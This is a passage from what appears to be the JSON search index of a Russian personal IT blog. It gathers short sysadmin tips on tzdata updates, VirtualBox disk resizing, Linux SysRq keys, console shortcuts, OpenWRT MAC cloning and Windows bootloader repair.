\u0026ldquo;Другой\u0026hellip;\u0026rdquo; и находим в списке параметров \u0026ldquo;Запуск программ и небезопасных файлов\u0026rdquo; Включаем и сохраняем изменения клавишей \u0026ldquo;ОК\u0026rdquo;. Соглашаемся с предупреждением браузера Ссылки:\nhttp://forum.ru-board.com/topic.cgi?forum=62\u0026amp;topic=21974 ","permalink":"https://blog.xsk.in/it/otkluchenie-preduprejdenij-sistemy-bezopasnosti/157/","summary":"\u003cp\u003eПосле закачки файлов приложений через браузер при запуске срабатывает система безопасности Windows, оповещающая пользователя о возможной угрозе:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/04/preduprezhdenie2.png\"\u003e\u003cimg alt=\"предупреждение2\" loading=\"lazy\" src=\"/wp-content/uploads/2013/04/preduprezhdenie2-300x234.png\"\u003e\u003c/a\u003e И если в этом данном случае, чтобы избежать повторного появления назойливого предупреждения, достаточно снять галочку \u0026ldquo;Всегда спрашивать при открытии этого файла\u0026rdquo;, то избавиться от сообщений системы при установке приложений из локальной шары уже не так просто.\u003c/p\u003e","title":"Отключение предупреждений системы безопасности"},{"content":"Небольшая шпаргалка для отмены перевода времени на CentOS.\n#Проверяем время, убеждаемся в неправильном часовом поясе\n[root@best ~]# date\nВтр Ноя 1 01:28:45 NOVT 2011\n#Проверяем версию установленного пакета tzdata\n[root@best ~]# rpm -qa |grep tzdata\ntzdata-2004e-2\n#Обновляем пакет\n[root@best ~]# rpm -Uvh /root/tzdata-2011h-2.el4.noarch.rpm\nпредупреждение: /root/tzdata-2011h-2.el4.noarch.rpm: подпись DSA V3: NOKEY, key ID 443e1821\nПодготовка\u0026hellip; ########################################### [100%]\n1:tzdata ########################################### [100%]\n#Убеждаемся в успешности обновления\n[root@best ~]# rpm -qa |grep tzdata\ntzdata-2011h-2.el4\n#Проверяем, осуществляется ли автоматический переход 30 октября 2011 года (последние две строчки):\n[root@best ~]# zdump -v /etc/localtime | grep 2011\n/etc/localtime Sat Mar 26 19:59:59 2011 UTC = Sun Mar 27 01:59:59 2011 NOVT isdst=0 gmtoff=21600\n/etc/localtime Sat Mar 26 20:00:00 2011 UTC = Sun Mar 27 03:00:00 2011 NOVST isdst=1 gmtoff=25200\n/etc/localtime Sat Oct 29 19:59:59 2011 UTC = Sun Oct 30 02:59:59 2011 NOVST isdst=1 gmtoff=25200\n/etc/localtime Sat Oct 29 20:00:00 2011 UTC = Sun Oct 30 02:00:00 2011 NOVT isdst=0 gmtoff=21600\n#Если выводится 4 строки в команде выше, делаем симлинк для localtime\n[root@best ~]# ls /usr/share/zoneinfo/Asia/\nAden Bahrain Chungking Harbin Kabul Kuching Novokuznetsk Rangoon Shanghai Tokyo Yerevan\nAlmaty Baku Colombo Ho_Chi_Minh Kamchatka Kuwait Novosibirsk Riyadh Singapore Ujung_Pandang\nAmman Bangkok Dacca Hong_Kong Karachi Macao Omsk Riyadh87 Taipei Ulaanbaatar\nAnadyr Beirut Damascus Hovd Kashgar Macau Oral Riyadh88 Tashkent Ulan_Bator\nAqtau Bishkek Dhaka Irkutsk Kathmandu Magadan Phnom_Penh Riyadh89 Tbilisi Urumqi\nAqtobe Brunei Dili Istanbul Katmandu Makassar Pontianak Saigon Tehran Vientiane\nAshgabat Calcutta Dubai Jakarta Kolkata Manila Pyongyang Sakhalin Tel_Aviv Vladivostok\nAshkhabad Choibalsan Dushanbe Jayapura Krasnoyarsk Muscat Qatar Samarkand Thimbu Yakutsk\nBaghdad Chongqing Gaza Jerusalem Kuala_Lumpur Nicosia Qyzylorda Seoul Thimphu Yekaterinburg\n[root@best ~]# mv /etc/localtime /etc/localtime.old\n[root@best ~]# ln -s /usr/share/zoneinfo/Asia/Novosibirsk /etc/localtime\n#Снова проверяем и убеждаемся, что проблема решена\n[root@best ~]# zdump -v /etc/localtime | grep 2011\n/etc/localtime Sat Mar 26 19:59:59 2011 UTC = Sun Mar 27 01:59:59 2011 NOVT isdst=0 gmtoff=21600\n/etc/localtime Sat Mar 26 20:00:00 2011 UTC = Sun Mar 27 03:00:00 2011 NOVT isdst=0 gmtoff=25200\nСсылки:\nhttp://www.itpad.ru/?p=2257 ","permalink":"https://blog.xsk.in/it/update-tzdata-v-centos/155/","summary":"\u003cp\u003eНебольшая шпаргалка для отмены перевода времени на CentOS.\u003c/p\u003e\n\u003cp\u003e#Проверяем время, убеждаемся в неправильном часовом поясе\u003cbr\u003e\n[root@best ~]# \u003cem\u003e\u003cstrong\u003edate\u003c/strong\u003e\u003c/em\u003e\u003cbr\u003e\nВтр Ноя  1 01:28:45 NOVT 2011\u003c/p\u003e\n\u003cp\u003e#Проверяем версию установленного пакета tzdata\u003cbr\u003e\n[root@best ~]# \u003cstrong\u003erpm -qa |grep tzdata\u003c/strong\u003e\u003cbr\u003e\ntzdata-2004e-2\u003c/p\u003e\n\u003cp\u003e#Обновляем пакет\u003cbr\u003e\n[root@best ~]# \u003cem\u003e\u003cstrong\u003erpm -Uvh /root/tzdata-2011h-2.el4.noarch.rpm\u003c/strong\u003e\u003c/em\u003e\u003cbr\u003e\nпредупреждение: /root/tzdata-2011h-2.el4.noarch.rpm: подпись DSA V3: NOKEY, key ID 443e1821\u003cbr\u003e\nПодготовка\u0026hellip;               ########################################### [100%]\u003cbr\u003e\n1:tzdata                 ########################################### [100%]\u003c/p\u003e","title":"Обновление tzdata в CentOS"},{"content":"После установки Windows XP Service Pack 2 автоматическое обновление вылетало с ошибкой 0x80240036. Попытка обновить компоненты вручную с сайтатакже заканчивались ошибкой. Для исправления ошибки необходимо обновить агент обновлений до версии 3.0. После перезагрузки обновления находятся и устанавливаются. Microsoft заботится о своих пользователях и подстрекает их своевременно обновлять ПО до новых версий.\nСсылки на агент:\n32 битная версия: windowsupdateagent30-x86.exe (зеркало);\n64 битная версия: windowsupdateagent30-x64.exe (зеркало).\n","permalink":"https://blog.xsk.in/it/oshibka-windows-update-windows-xp-0x80240036/153/","summary":"\u003cp\u003eПосле установки Windows XP Service Pack 2 автоматическое обновление вылетало с ошибкой 0x80240036. Попытка обновить компоненты вручную с \u003ca href=\"update.microsoft.com/windowsupdate/v6/\"\u003eсайта\u003c/a\u003eтакже заканчивались ошибкой. Для исправления ошибки необходимо обновить агент обновлений до версии 3.0. После перезагрузки обновления находятся и устанавливаются. \u003cem\u003eMicrosoft заботится о своих пользователях и подстрекает их своевременно обновлять ПО до новых версий.\u003c/em\u003e\u003c/p\u003e","title":"Ошибка обновления Windows XP 0x80240036"},{"content":"В связи с отменой перевода часов и перехода на зимнее время мой смартфон при автоматическом получении времени от сети начал спешить на час. В Linux исправление временного пояса лежит в обновлении tzdata. В Android за это отвечают 3 файла, лежащие в /system/usr/share/zoneinfo/:\nzoneinfo.dat, zoneinfo.idx, zoneinfo.version Последний является текстовым файлом и содержит текущую версию tzdata. Остальные два можно получить с помощью любого дистрибутива Linux и JDK. Подробности и новейшие на момент написания статьи файлы под катом.\nКак сделать новую версию tzdata для Android:\nЗаходим в любимый дистрибутив Linux (я запустил LiveCD Ubuntu 12.04) Качаем с официального сайта последний пакет Time Zone Data tzdata (на текущий момент это v. 2013b, инструкция дальше будет содержать эту версию, вы везде ниже пишете ту, что скачаете) Качаем архив generate.zip Устанавливаем, если в системе нет, OpenJDK (или что-то похожее), например так apt-get instal openjdk-6-jdk Распаковываем содержимое tzdata2013b.tar.gz в новую папку с именем tzdata2013b Распаковываем generate.zip и правим в файле generate строчку version=tzdata2013b на свою версию. Делаем исполняемым и запускаем файл ./generate: chmod +x ./generate \u0026amp; ./generate. Забираем три созданных файла в устройство на OS Android Переименоваем папку /system/usr/share/zoneinfo/ в zoneinfo.old, создаем новую с тем же именем и переносим внутрь новые файлы. Выставляем права на файлы точно так же, как было у исходных. В моем случае это выглядит так:\nПерезагружаем устройство Альтернативный \u0026ldquo;легкий\u0026rdquo; способ поставить на место часовые пояса - скачать из маркета приложение TimeZone Fixer (требует ROOT прав).\nПолученная в статье версия zoneinfo.\nСсылки:\nhttp://forum.xda-developers.com/showthread.php?t=1324935 ","permalink":"https://blog.xsk.in/it/tzdata-v-android/143/","summary":"\u003cp\u003eВ связи с отменой перевода часов и перехода на зимнее время мой смартфон при автоматическом получении времени от сети начал спешить на час. В Linux исправление временного пояса лежит в обновлении tzdata. В Android за это отвечают 3 файла, лежащие в \u003cem\u003e\u003cspan style=\"font-family: Courier New;\"\u003e/system/usr/share/zoneinfo/:\u003c/span\u003e\u003c/em\u003e\u003c/p\u003e","title":"Исправление часового пояса в Android"},{"content":"В терминале Ubuntu 12.04 по дефолту не поддерживается русский язык, поэтому если при установке его выбрать в качестве основного, после установки увидим кракозябры. Исправляем ситуацию:\nУстановить или удостовериться в наличии необходимых пакетов: env LANG=C sudo aptitude install console-setup keyboard-configuration\nВыполнить настройку консоли (или перенастройку): env LANG=C sudo dpkg-reconfigure console-setup\nsudo dpkg-reconfigure keyboard-configuration\nВключить настройку консоли при загрузке. Для этого в файл /etc/initramfs-tools/initramfs.conf необходимо добавить параметр FRAMEBUFFER=Y\nОбновить initramfs, чтобы в него добавились нужные скрипты:\nsudo update-initramfs -u\nСсылки:\nhttp://www.bender-rodriguez.net/2012/06/ubuntu-server-1204.html ","permalink":"https://blog.xsk.in/it/russian-language-terminal-linux-ubuntu-12-04/138/","summary":"\u003cp\u003eВ терминале Ubuntu 12.04 по дефолту не поддерживается русский язык, поэтому если при установке его выбрать в качестве основного, после установки увидим кракозябры. Исправляем ситуацию:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eУстановить или удостовериться в наличии необходимых пакетов:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eenv LANG=C sudo aptitude install console-setup keyboard-configuration\u003c/p\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003eВыполнить настройку консоли (или перенастройку):\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eenv LANG=C sudo dpkg-reconfigure console-setup\u003c/p\u003e","title":"Русский язык в консоли Linux Ubuntu 12.04"},{"content":"В интернетах находятся тонны однотипных инструкций по изменению размеров жесткого диска, используемого в виртуальной машине. Большинство сводится к тому, что рекомендует ввести в командной строке VBoxManage modifyhd \u0026ldquo;\u0026lt;path-to-vdi\u0026gt;\u0026rdquo; \u0026ndash;resize \u0026lt;newsize-in-MB\u0026gt; и всё. При этом мало где (на русском я так и не нашел адекватных мануалов) упоминается, что при наличии снимков системы (snaphot) решение не такое тривиальное и должно начинаться смерживанием всех снапшотов в единый файл. О том, как правильно увеличить диск, читайте ниже.\nДано: виртуальная машина с Linux Ubuntu в качестве гостевой и Windows 7 в качестве хоста. Гостевая система содержит энное количество снапшотов.\nТребуется: увеличить размер образа для гостевой системы.\nРешение: Первым делом надо склеить снимки, делается это либо через командную строку последовательным удалением и просмотром оставшихся снимков по примерному сценарию VBoxManage snapshot list | VBoxManage snapshot delete, либо через GUI VitrualBox:\nЕсли этого не сделать, а сразу перейти к расширению диска, то при последующих операциях со снапшотами будет возникать ошибка “virtualbox could not merge the medium VERR_INVALID_PARAMETER”. Более того, размер диска вряд ли изменится внутри гостевой машины.\nПри большом количестве снапшотов или появлении ошибок при склеивании идеальным выходом будет просто скопировать текущую виртуальную машину и выбрать в опциях клонирования режим \u0026ldquo;Полная копия\u0026rdquo;. Тогда все снапшоты склеятся автоматически и вы избежите рутинных ручных операций и всевозможных ошибок. Единственная ошибка, которая может возникнуть после такого подхода при работе с машиной в консоли, - это повторяющийся UUID гостевой машины. Его можно изменить с помощью команды VBoxManage internalcommands sethduuid \u0026ldquo;path-to-the-new-disk\u0026rdquo;.\nТолько после проделанных операций можно ввести команду VBoxManage modifyhd \u0026ldquo;\u0026lt;path-to-vdi\u0026gt;\u0026rdquo; \u0026ndash;resize \u0026lt;newsize-in-MB\u0026gt;.\nПоследний штрих - указание новых размеров в гостевой машине. Для этого запуститесь с LiveCD любого Linux дистрибутива (та же Ubuntu подойдет) и с помощью Gparted укажите новые размеры раздела.\nНебольшой нюанс: если в гостевой машине помимо раздела с системой имеются еще какие-то, например swap, то может получиться так, что требующий увеличения раздел окажется отделен от неразмеченной области, выделенной нами ранее. В случае со swap\u0026rsquo;ом его проще просто удалить и создать заново в конце диска, в случае с дополнительным разделами можно создать раздел в неразмеченной области и примонтировать его к требующему увеличения.\nСсылки:\nhttp://www.codereactor.net/changing-size-of-virtualbox-disks-before-and-after-deleting-snapshots/ http://trivialproof.blogspot.ru/2011/01/resizing-virtualbox-virtual-hard-disk.html#expand_partition_on_new_vdi ","permalink":"https://blog.xsk.in/it/resize-virtualbox-clone/131/","summary":"\u003cp\u003eВ интернетах находятся тонны однотипных инструкций по изменению размеров жесткого диска, используемого в виртуальной машине. Большинство сводится к тому, что рекомендует ввести в командной строке VBoxManage modifyhd \u0026ldquo;\u0026lt;path-to-vdi\u0026gt;\u0026rdquo; \u0026ndash;resize \u0026lt;newsize-in-MB\u0026gt; и всё. При этом мало где (на русском я так и не нашел адекватных мануалов) упоминается, что при наличии снимков системы (snaphot) решение не такое тривиальное и должно начинаться смерживанием всех снапшотов в единый файл. О том, как правильно увеличить диск, читайте ниже.\u003c/p\u003e","title":"Увеличение размера виртуального диска в VirtualBox"},{"content":"Интро\nКогда Линукс намертво вешается, есть возможность проводить прямые работы над ядром. Манипуляции эти проводятся с помощью клавиши SysRq, которая работает всегда. При помощи некоторых комбинаций клавиш можно заставить систему аварийно сбросить данные на диски, размонтировать все файловые системы в режим \u0026ldquo;только-чтение\u0026rdquo; и перезагрузиться даже при наглухо зависшей системе.\nКак ей пользоваться?\nСначала нужно убедиться, что она включена: в конфиге ядра CONFIG_MAGIC_SYSRQ должно иметь значение Y (по крайней мере в дефолтном ядре Дебиана это так). Дальше применение такое: нажимаем и держим ALT, нажимаем SysRq, отпускаем всё и нажимаем одну из \u0026ldquo;командных\u0026rdquo; клавиш - ниже их краткое описание.\nКомандные клавиши\nНиже перечислены наиболее полезные клавиши, которые могут пригодиться для тех, кто проводит бесчеловечные эксперименты над системой или устанавливает проприетарные драйвера. Чтобы их легче было запомнить, будет написано слово, в котором эта буква есть по смыслу. Всё сказанное ниже актуально по крайней мере для ядер 2.6.20 и выше.\nОдновременное нажатие клавиш Alt + SysRq + \u0026lsquo;H\u0026rsquo;elp - выводит все доступные возможности SysRq, выделяя большой буквой клавишу действия;\nloglevel\u0026rsquo;0\u0026rsquo;-\u0026rsquo;8\u0026rsquo; - позволяет менять уровень подробности вывода от 0 (только критические сообщения) до 8 (самый подробный режим);\nre\u0026rsquo;B\u0026lsquo;oot - немедленная перезагрузка системы, прямо как клавиша RESET (без синхронизации и размонтирования файловых систем);\n\u0026lsquo;C\u0026lsquo;rashdump - выполняет директиву kexec для перезагрузки, чтобы получить сведения об ошибках;\nhol\u0026rsquo;D\u0026rsquo;s - показывает все блокировки, которые держат устройства или файлы;\npower\u0026rsquo;O\u0026lsquo;ff - корректно выключает систему (если настроено и поддерживается, обычно это прямая команда отключения);\n\u0026lsquo;S\u0026lsquo;ync - пытается синхронизировать все примонтированные файловые системы, при этом пишет в консоли \u0026ldquo;Emergency Remount R/O\u0026rdquo; - когда этот процесс закончится, должно написать \u0026ldquo;Emergency Remount Complete\u0026rdquo;;\n\u0026lsquo;U\u0026lsquo;nmount - пытается перемонтировать все примонтированные файловые системы в режим \u0026ldquo;только-чтение\u0026rdquo;;\nshow\u0026rsquo;T\u0026lsquo;asks - выдаст список текущих задач и информацию о них в текущую консоль;\n\u0026lsquo;N\u0026lsquo;ice - используется для того, чтобы сделать задачи реального времени с изменяемым приоритетом;\nsho\u0026rsquo;W\u0026rsquo;-blocked-tasks - выдаст список всех непрерываемых (заблокированных, ждущих окончание ввода-вывода) задач;\nshow\u0026rsquo;M\u0026lsquo;em - выдаст информацию о доступной и занятой оперативной памяти, а так же степени использования своп-файла;\n\u0026lsquo;F\u0026lsquo;ull - вызвать oom_kill (out-of-memory kill) для прерывания приложений, забравших слишком много памяти (может занять продолжительное время);\nsecure acces \u0026lsquo;K\u0026lsquo;ey - убивает все программы на текущей консоли, но не применяйте её на консоли, где запущены иксы (графический сервер будет остановлен и вы не сможете увидеть то, что печатаете и то, что ответит SysRq);\nun\u0026rsquo;R\u0026lsquo;aw - забирает контроль над мышью и клавиатурой у Х-сервера, что полезно, если Х-севрвер завис: так можно перейти в консоль, убить Х-сервер или проверить логи;\nt\u0026rsquo;E\u0026lsquo;rm - послать сигнал завершения работы SIGTERM всем процессам, кроме init.\nK\u0026rsquo;I\u0026lsquo;LL - послать сигнал немедленного завершения работы SIGKILL всем процессам, кроме init.\nАутро\nТо есть, например, для аварийной синхронизации данных жмём ALT+SysRq + s, далее ALT+SysRq + u и после этого можно жать на ресет или, что тоже самое ALT+SysRq+b.\nСсылки:\nhttp://mydebianblog.blogspot.com/2007/07/sysrq-printscreen.html ","permalink":"https://blog.xsk.in/it/volshebnaya-klavisha-sysrq-printscreen/127/","summary":"\u003cp\u003e\u003cstrong\u003eИнтро\u003c/strong\u003e\u003cbr\u003e\nКогда Линукс намертво вешается, есть возможность проводить прямые работы над ядром. Манипуляции эти проводятся с помощью клавиши SysRq, которая работает всегда. При помощи некоторых комбинаций клавиш можно заставить систему аварийно сбросить данные на диски, размонтировать все файловые системы в режим \u0026ldquo;только-чтение\u0026rdquo; и перезагрузиться даже при наглухо зависшей системе.\u003c/p\u003e","title":"Волшебная клавиша SysRq / Printscreen"},{"content":"\u0026hellip;если вы выполнили команду и забыли про \u0026lsquo;sudo\u0026rsquo;, то можете просто набрать \u0026lsquo;sudo !!\u0026rsquo; для вторичного запуска предыдущей команды с использованием \u0026lsquo;sudo\u0026rsquo;.\n\u0026hellip;для перемещения курсора в начало строки можно использовать сочетание Ctrl+A, а для перемещения в конец — сочетание Ctrl+E.\n\u0026hellip;вместо команды \u0026rsquo;exit\u0026rsquo; для закрытия терминала или сессии вы можете использовать комбинацию Ctrl+D.\n\u0026hellip;для автоматического дополнения вводимой команды вы можете использовать клавишу Tab. А для вывода возможных вариантов - дважды нажать Tab.\n\u0026hellip;с помощью команды free можно быстро узнать, сколько ОЗУ и swap занято, и сколько свободно. А по команде top можно получить информацию о запущенных в системе процессах. \u0026ldquo;Убить\u0026rdquo; зависший процесс можно с помощью команды killall имя_процесса.\n\u0026hellip;если вы ошиблись при наборе команды, то можете удалить последнее слово с помощью сочетания Ctrl+W, или же всю строку с помощью Ctrl+U.\n\u0026hellip;для повторения произвольной команды через постоянные интервалы времени с выводом временных отметок вы можете воспользоваться командой watch (подробнее читайте в man watch).\n\u0026hellip;для поиска ранее введенных команд вы можете использовать сочетание Ctrl+R, после чего ввести известные символы из искомой команды.\n\u0026hellip;с помощью команды history вы можете посмотреть список последних набранных вами команд.\n\u0026hellip;если вы ошиблись в одной или нескольких символах при написании команды, или вам просто нужно повторить команду с использованием других параметров, воспользуйтесь символом \u0026lsquo;^\u0026rsquo;. Например, вы набрали команду gistory вместо history, тогда просто наберите ^g^h, чтобы заменить символ \u0026lsquo;g\u0026rsquo; на \u0026lsquo;h\u0026rsquo; и повторно выполнить команду.\nЕще есть пара очень полезных команд:\nat - позволяет отложенно запустить что-нибудь. полезно, когда настраиваешь какой-нибудь фаервол на удаленном сервере\ndf -H - покажет сколько есть места на дисках\nwhoami - выведет имя юзера, под которым залогинился или su\u0026rsquo;идился. помогает, когда активно работаешь с добавлением юзеров и проверяешь их права и т.п.\nЕсть ещё не менее полезные команды:\ndu -h - посмотреть сколько места занимает какой либо файл/каталог\nfdisk -l - посмотреть список разделов своих жестких дисков.\nmount - посмотреть куда что смонтировано.\nblkid - посмотреть UUID дисков, очень полезная команда, особенно когда редактируешь файл конфигурации разделов fstab.\nСсылки:\nhttp://linux-easy.ru/articles/a-znaete-li-vy-chto-ili-neskolko-prostyx-priemov-dlya-raboty-s-konsolyu/ ","permalink":"https://blog.xsk.in/it/neskol-ko-prosty-h-priyomov-dlya-raboty-s-konsol-yu/123/","summary":"\u003cp\u003e\u0026hellip;если вы выполнили команду и забыли про \u0026lsquo;sudo\u0026rsquo;, то можете просто набрать \u0026lsquo;\u003cstrong\u003esudo !!\u0026rsquo;\u003c/strong\u003e для вторичного запуска предыдущей команды с использованием \u0026lsquo;sudo\u0026rsquo;.\u003c/p\u003e\n\u003cp\u003e\u0026hellip;для перемещения курсора в начало строки можно использовать сочетание \u003cspan style=\"text-decoration: underline;\"\u003eCtrl+A\u003c/span\u003e, а для перемещения в конец — сочетание \u003cspan style=\"text-decoration: underline;\"\u003eCtrl+E\u003c/span\u003e.\u003c/p\u003e","title":"Несколько простых приёмов для работы с консолью"},{"content":"Вы можете оставит свое мнение, пожелание, замечание или предложение автору сайта. Для этого заполните приведенную ниже форму.\nСпасибо за отклик!\n[contact-form-7 id=\u0026ldquo;110\u0026rdquo; title=\u0026ldquo;Контактная форма 1\u0026rdquo;]\n","permalink":"https://blog.xsk.in/feedback/","summary":"\u003cp\u003eВы можете оставит свое мнение, пожелание, замечание или предложение автору сайта. Для этого заполните приведенную ниже форму.\u003c/p\u003e\n\u003cp\u003eСпасибо за отклик!\u003c/p\u003e\n\u003cp\u003e[contact-form-7 id=\u0026ldquo;110\u0026rdquo; title=\u0026ldquo;Контактная форма 1\u0026rdquo;]\u003c/p\u003e","title":"Обратная связь"},{"content":" Восстановление запроса на подтверждение удаления заметок Ярлык-содержание заметок Горячие клавиши Восстановление запроса на подтверждение удаления заметок\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Applets\\StickyNotes\nPROMPT_ON_DELETE» = 1\nЯрлык-содержание заметок\nСоздаем ярлык следующего содержания: search-ms:displayname=Результаты%20поиска%20в%20\u0026quot;Записки%20(Записки%20Windows)\u0026quot;\u0026amp;crumb=\u0026amp;crumb=location:C%3A%5CUsers%5Cuser%5CSearches%5CЗаписки%20(Записки%20Windows).searchconnector-ms\nгде user - имя учетной записи\nГорячие клавиши\nКлавиша Действие Ctrl+2 Двойной межстрочный интервал Ctrl+5 Полуторный межстрочный интервал Ctrl+L Выравнивание по левому краю Ctrl+R Выравнивание по правому краю Ctrl+E Выравнивание по центру Ctrl+B Жирный Ctrl+I Курсив Ctrl+U Подчёркнутый Ctrl+T Зачёркнутый Ctrl+Shift+A Перевод в верхний регистр Ctrl+Shift+L Списки (несколько раз для разных видов списков) Ctrl+Shift+\u0026gt; Увеличить размер шрифта Ctrl+Shift+\u0026lt; Уменьшить размер шрифта Ctrl+= Подстрока Ctrl+Shift++ Надстрока Ctrl+n Новая записка ","permalink":"https://blog.xsk.in/it/ispol-zovanie-windows-sticky-notes/63/","summary":"\u003col\u003e\n\u003cli\u003e\u003ca href=\"/#u1\"\u003eВосстановление запроса на подтверждение удаления заметок\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/#u2\"\u003eЯрлык-содержание заметок\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/#u3\"\u003eГорячие клавиши\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca name=\"u1\"\u003eВосстановление запроса на подтверждение удаления заметок\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Applets\\StickyNotes\u003cbr\u003e\nPROMPT_ON_DELETE» = 1\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca name=\"u2\"\u003eЯрлык-содержание заметок\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eСоздаем ярлык следующего содержания: search-ms:displayname=Результаты%20поиска%20в%20\u0026quot;Записки%20(Записки%20Windows)\u0026quot;\u0026amp;crumb=\u0026amp;crumb=location:C%3A%5CUsers%5C\u003cstrong\u003euser\u003c/strong\u003e%5CSearches%5CЗаписки%20(Записки%20Windows).searchconnector-ms\u003c/p\u003e\n\u003cp\u003eгде \u003cstrong\u003euser\u003c/strong\u003e - имя учетной записи\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca name=\"u3\"\u003eГорячие клавиши\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cb\u003eКлавиша\u003c/b\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cb\u003eДействие\u003c/b\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+2\u003c/td\u003e\n\u003ctd\u003eДвойной межстрочный интервал\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+5\u003c/td\u003e\n\u003ctd\u003eПолуторный межстрочный интервал\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+L\u003c/td\u003e\n\u003ctd\u003eВыравнивание по левому краю\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+R\u003c/td\u003e\n\u003ctd\u003eВыравнивание по правому краю\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+E\u003c/td\u003e\n\u003ctd\u003eВыравнивание по центру\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+B\u003c/td\u003e\n\u003ctd\u003eЖирный\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+I\u003c/td\u003e\n\u003ctd\u003eКурсив\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+U\u003c/td\u003e\n\u003ctd\u003eПодчёркнутый\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+T\u003c/td\u003e\n\u003ctd\u003eЗачёркнутый\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+Shift+A\u003c/td\u003e\n\u003ctd\u003eПеревод в верхний регистр\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+Shift+L\u003c/td\u003e\n\u003ctd\u003eСписки (несколько раз для разных видов списков)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+Shift+\u0026gt;\u003c/td\u003e\n\u003ctd\u003eУвеличить размер шрифта\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+Shift+\u0026lt;\u003c/td\u003e\n\u003ctd\u003eУменьшить размер шрифта\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+=\u003c/td\u003e\n\u003ctd\u003eПодстрока\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+Shift++\u003c/td\u003e\n\u003ctd\u003eНадстрока\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCtrl+n\u003c/td\u003e\n\u003ctd\u003eНовая записка\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e","title":"Использование Windows Sticky Notes"},{"content":"Если провайдер запоминает MAC адрес и не имеется возможности его сменить, подставляем нужный во внешний интерфейс рутера. Добавляем в скрипт автозапуска (например, /etc/rc.local) следующие строчки:\nkillall udhcpc ifconfig eth0.1 hw ether 00:11:22:33:44:55 ifconfig eth0.1 up udhcpc -t 0 -i eth0.1 -b -p /var/run/dhcp-eth0.1.pid Здесь заменяем\neth0.1 своим внешним интерфейсом, (смотрим в ifconfig), 00:11:22:33:44:55 требуемым MAC-адресом, последнюю строчку той, которая используется в вашей системе (посмотрите заранее командой ps) Альтернативный вариант для прошивок с GUI:\nNetwork - WAN - Override MAC Address - 00:11:22:33:44:55 Save \u0026amp; Apply. Ссылки:\nhttp://wrt160nl.blogspot.ru/2010/12/dd-wrt-linksys-wrt160nl-mac-addres.html ","permalink":"https://blog.xsk.in/it/klonirovanie-mac-v-openwrt/57/","summary":"\u003cp\u003eЕсли провайдер запоминает MAC адрес и не имеется возможности его сменить, подставляем нужный во внешний интерфейс рутера. Добавляем в скрипт автозапуска (например, \u003cem\u003e/etc/rc.local\u003c/em\u003e) следующие строчки:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ekillall udhcpc\nifconfig eth0.1 hw ether 00:11:22:33:44:55\nifconfig eth0.1 up\nudhcpc -t 0 -i eth0.1 -b -p /var/run/dhcp-eth0.1.pid\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eЗдесь заменяем\u003c/p\u003e","title":"Клонирование MAC в OpenWRT"},{"content":"Если на экране вместо загрузчика ошибка \u0026ldquo;GRUB ERROR\u0026rdquo;, грузимся с загрузочного диска Win7 и на экране выбора языка нажимаем Shift+F10, тем самым попадая в командную строку. Там пишем:\n$ bootsect.exe /nt60 all\n$ bootrec /fixmbr\n$ bootrec /fixboot\nПосле чего перезагружаемся.\n","permalink":"https://blog.xsk.in/it/vosstanovlenie-zagruzchika-windows-7-posle-ud/53/","summary":"\u003cp\u003eЕсли на экране вместо загрузчика ошибка \u0026ldquo;\u003cstrong\u003eGRUB ERROR\u003c/strong\u003e\u0026rdquo;, грузимся с загрузочного диска Win7 и на экране выбора языка нажимаем Shift+F10, тем самым попадая в командную строку. Там пишем:\u003cbr\u003e\n\u003cem\u003e$ bootsect.exe /nt60 all\u003cbr\u003e\n$ bootrec /fixmbr\u003cbr\u003e\n$ bootrec /fixboot\u003c/em\u003e\u003cbr\u003e\nПосле чего 